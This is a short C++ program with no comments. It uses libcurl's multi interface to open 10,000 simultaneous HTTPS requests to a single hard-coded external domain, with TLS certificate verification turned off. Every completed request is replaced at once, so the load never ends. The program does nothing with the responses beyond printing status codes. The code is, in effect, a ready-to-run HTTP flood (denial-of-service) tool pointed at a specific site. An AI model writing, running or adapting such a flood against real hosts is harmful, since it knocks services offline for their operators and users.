#include <curl/curl.h>
#include <iostream>
#include <vector>
#include <string>

static const char* URL = "https://uibi-mu.click/uibi-mu";
static const int CONCURRENCY = 10000;

size_t write_callback(char* ptr, size_t size, size_t nmemb, void* userdata) {
    return size * nmemb;
}

CURL* create_easy() {
    CURL* easy = curl_easy_init();
    curl_easy_setopt(easy, CURLOPT_URL, URL);
    curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_callback);
    curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
    curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
    curl_easy_setopt(easy, CURLOPT_PRIVATE, easy);
    return easy;
}

int main() {
    curl_global_init(CURL_GLOBAL_DEFAULT);

    CURLM* multi = curl_multi_init();
    int still_running = 0;

    for (int i = 0; i < CONCURRENCY; i++) {
        CURL* easy = create_easy();
        curl_multi_add_handle(multi, easy);
    }

    curl_multi_perform(multi, &still_running);

    while (still_running) {
        int numfds;
        curl_multi_wait(multi, NULL, 0, 1000, &numfds);
        curl_multi_perform(multi, &still_running);

        CURLMsg* msg;
        int msgs_left;

        while ((msg = curl_multi_info_read(multi, &msgs_left))) {
            if (msg->msg == CURLMSG_DONE) {
                CURL* easy = msg->easy_handle;

                long http_code = 0;
                curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &http_code);
                std::cout << "HTTP: " << http_code << std::endl;

                curl_multi_remove_handle(multi, easy);
                curl_easy_cleanup(easy);

                CURL* new_easy = create_easy();
                curl_multi_add_handle(multi, new_easy);
                still_running++;
            }
        }
    }

    curl_multi_cleanup(multi);
    curl_global_cleanup();
    return 0;
}